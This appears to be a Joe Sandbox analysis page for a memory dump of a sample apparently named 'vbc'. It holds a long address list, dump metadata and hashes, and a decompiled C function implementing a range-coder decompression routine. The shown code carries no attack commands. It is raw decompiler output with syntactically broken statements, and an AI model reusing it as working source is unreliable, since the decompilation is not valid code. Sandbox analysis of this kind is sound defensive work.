0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x004066b8
0x004066b8
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x004066b8
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060bc
0x00000000
0x0040609e
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x004060b5
0x00000000
0x004062eb
0x004062ef
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00000000
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406682
0x00406686
0x004066a8
0x004066ab
0x004066b5
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x004066b8
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x00000000
0x00406776
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406833
0x00406734
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00406734
0x00406734
0x00000000
0x0040673a
0x00406734
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067d8
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x0040680a
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00000000
0x004064af
0x004064b2
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x00000000
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00406734
0x004066bb
0x004066b8
0x00000000
0x0040640d

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fed0205269c67c4524460d7550c555d61838a406f219378ffc8409cc06287b
Instruction ID: b59dca7a73cfed8a049a6b6a8b4acb584d685fa01604791ee1d6e054a78b3619
Opcode Fuzzy Hash: 26fed0205269c67c4524460d7550c555d61838a406f219378ffc8409cc06287b
Instruction Fuzzy Hash: 08714671D04229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7789996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406355 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406355() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004068EF))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
